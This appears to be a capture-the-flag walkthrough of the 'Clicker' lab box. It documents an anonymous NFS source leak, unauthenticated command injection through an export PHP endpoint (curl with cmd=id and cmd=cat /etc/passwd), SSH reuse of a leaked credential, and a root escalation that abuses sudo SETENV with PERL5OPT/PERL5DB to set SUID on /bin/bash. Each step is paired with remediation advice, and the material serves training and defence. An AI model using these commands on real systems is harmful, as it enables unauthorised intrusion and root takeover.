← all walkthroughs

Clicker

Linux· Medium
owned
2026-09-04
time to own
17m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a virtual-host-only Apache/PHP clicker game (clicker.htb) that also exposed an anonymous NFS share containing a full application backup. Reading the leaked PHP source revealed an unauthenticated OS command injection flaw in a dynamically named export endpoint, giving code execution as www-data, and the same backup exposed a reusable credential that provided SSH access as the local user jack.

A sudo rule let jack run a root-owned diagnostic script with the environment preserved; abusing the Perl debugger's PERL5OPT/PERL5DB environment variables during that sudo call executed my own code as root, which was used to set the SUID bit on /bin/bash for full root access.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceHTTP virtual host discovery
Discovered the app only resolves under the clicker.htb virtual host
A request to the raw IP on port 80 returned a 302 redirect to http://clicker.htb/, and probing login.php/register.php on the raw IP returned 404s while the app itself only worked through name-based virtual hosting. Adding the vhost to local DNS resolution was required before any further web testing.
Curl to $TARGET returned 'Location: http://clicker.htb/'; login.php/register.php on the raw IP returned 404 Not Found.
Exact commands 2
shell

Observe the 302 redirect to clicker.htb.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - http://$TARGET/
shell

Add the discovered vhost so the app resolves correctly.

$ echo "$TARGET clicker.htb" | sudo tee -a /etc/hosts
2EnumerationAnonymous NFS export enumeration and source disclosure
Mounted an anonymous NFS export and pulled the application's source backup
Rpcbind (111) and NFS (2049) were open, and the export /mnt/backups was advertised to '*' with no host restriction, allowing anonymous read access. The export root contained clicker.htb_backup.zip (owned root:root, world-readable), which unzipped to the full PHP application source (play.php, profile.php, authenticate.php, create_player.php, logout.php, and more).
Showmount: 'Export list for $TARGET: /mnt/backups *'; nfs-ls showed clicker.htb_backup.zip, 2284115 bytes, mode rw-r--r--, uid 0 gid 0.
Exact commands 3
shell

List exported NFS shares.

$ showmount -e $TARGET
shell

Mount the export read-only (anonymous/nobody-squashed access).

$ mkdir -p /mnt/c && sudo mount -t nfs $TARGET:/mnt/backups /mnt/c -o nolock
shell

Retrieve and list the application source backup.

$ cp /mnt/c/clicker.htb_backup.zip /tmp/ && unzip -l /tmp/clicker.htb_backup.zip
FixRestrict and harden the NFS exportHigh
WeaknessThe /mnt/backups NFS export was advertised to '*' with no host restriction and allowed anonymous (nobody-squashed) read access, letting anyone on the network mount it and read a root-owned application backup containing full source code.
FixRestrict the export to specific trusted hosts/subnets in /etc/exports, enable root_squash/all_squash, require NFSv4 with Kerberos (sec=krb5) where possible, and remove the plaintext application backup from any world-readable share. Firewall 111/2049 from untrusted networks entirely if NFS is not required externally.
3ExploitationOS Command Injection (T1059 / CWE-78)
Exploited unauthenticated OS command injection in the export feature
Reviewing the leaked PHP source identified a dynamically-named export script (exports/top_players_9ep8kxfn.php) that passed a 'cmd' query-string parameter straight to a shell without authentication or sanitization. Requesting the endpoint with cmd=id confirmed arbitrary command execution as the web server user.
Curl to exports/top_players_9ep8kxfn.php?cmd=id returned 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'.
Exact commands 2
shell

Confirm command injection and current privilege level.

$ curl -sS -H 'Host: clicker.htb' "http://$TARGET/exports/top_players_9ep8kxfn.php?cmd=id"
shell

Example follow-on command execution as www-data.

$ curl -sS -H 'Host: clicker.htb' "http://$TARGET/exports/top_players_9ep8kxfn.php?cmd=cat+/etc/passwd"
FixEliminate command injection in the export featureCritical
WeaknessThe export endpoint (exports/top_players_*.php) passed a user-supplied 'cmd' query parameter directly to a shell with no authentication and no input validation, giving any remote visitor arbitrary code execution as the web server user.
FixRemove shell invocation from the export feature entirely; if external commands are unavoidable, use parameterized/escaped calls (e.g. escapeshellarg()) with a strict allow-list, never build a command line from raw request input, and require authenticated admin access to any export/report functionality.
4Lateral MovementCredential reuse / valid accounts (T1078)
Reused a credential leaked in the source backup to obtain an SSH shell as jack
The recovered application backup/source disclosed a reusable credential. This credential provided direct SSH access as the local user jack, yielding a stable interactive shell and the user flag.
Exact commands 3
shell

Authenticate using the credential recovered from the leaked source/backup (password: $PASSWORD or equivalent recovered secret).

$ ssh jack@$TARGET
shell

Confirm shell as jack.

$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
shell

Read the user flag; substitute <user.txt>.

$ cat /home/jack/user.txt
FixRemove hardcoded credentials and enforce unique per-account secretsHigh
WeaknessA credential usable for SSH login as the local user jack was recoverable from the leaked application backup/source, allowing an unauthorised user to move from a web-only foothold directly to a full interactive shell.
FixRemove any hardcoded or committed credentials from source and backups, rotate the affected account's password/key, store secrets in a vault or environment-injected config outside version control, and enforce SSH key-based auth with password login disabled for interactive accounts.
5Privilege Escalation - DiscoverySudo misconfiguration (env_keep/SETENV) enumeration
Found a passwordless sudo rule that preserves the calling environment
Sudo -l as jack showed a NOPASSWD, SETENV rule allowing jack to run /opt/monitor.sh as root with the caller's environment variables preserved. The script itself only unset a couple of Perl variables (PERL5LIB, PERLLIB) but did not sanitize the rest of the environment before invoking Perl-related tooling.
Sudo -l: 'User jack may run the following commands on clicker: (ALL: ALL) ALL / (root) SETENV: NOPASSWD: /opt/monitor.sh'.
Exact commands 2
shell

List sudo rights as jack; shows SETENV NOPASSWD on /opt/monitor.sh.

$ sudo -l
(ALL : ALL) ALL / (root) SETENV: NOPASSWD: /opt/monitor.sh
shell

Review the root-run script for exploitable environment handling.

$ sed -n '1,120p' /opt/monitor.sh
FixRemove SETENV and restrict environment handling on the sudo ruleCritical
Weaknessjack's sudo rule for /opt/monitor.sh included SETENV, letting a low-privilege user pass arbitrary environment variables (PERL5OPT/PERL5DB) into a root-executed script that invoked Perl, resulting in arbitrary code execution as root via the Perl debugger.
FixRemove the SETENV tag from the sudoers entry, add 'Defaults env_reset' and an explicit env_keep allow-list (excluding PERL5OPT/PERL5DB/PERL5LIB and similar interpreter env vars) for that rule, and have monitor.sh invoke Perl with -T (taint mode) or drop privileges before any interpreter call. Prefer a dedicated non-interactive service account over broad sudo grants.
6Privilege Escalation - ExploitationSudo SETENV environment-variable injection / Perl debugger abuse (T1548.003)
Hijacked the Perl debugger via preserved PERL5OPT/PERL5DB to run code as root
Because SETENV let jack pass arbitrary environment variables into the sudo'd script, setting PERL5OPT=-d enabled the Perl debugger on any Perl invocation inside monitor.sh, and PERL5DB supplied the first command the debugger executes. Setting PERL5DB to 'exec "chmod u+s /bin/bash"' caused the root-owned script to set the SUID bit on /bin/bash, and running bash -p then gave an effective-root shell, confirmed with id before reading root.txt.
Exact commands 3
shell

Run the root-permitted script with the debugger hijack; sets SUID on /bin/bash.

$ sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
shell

Use the now-SUID bash to confirm euid=0 before reading the flag.

$ /bin/bash -p -c id
uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
shell

Read the root flag; substitute <root.txt>.

$ /bin/bash -p -c 'cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
111/tcp
2049/tcp
41261/tcp
43655/tcp
43691/tcp
49093/tcp
57633/tcp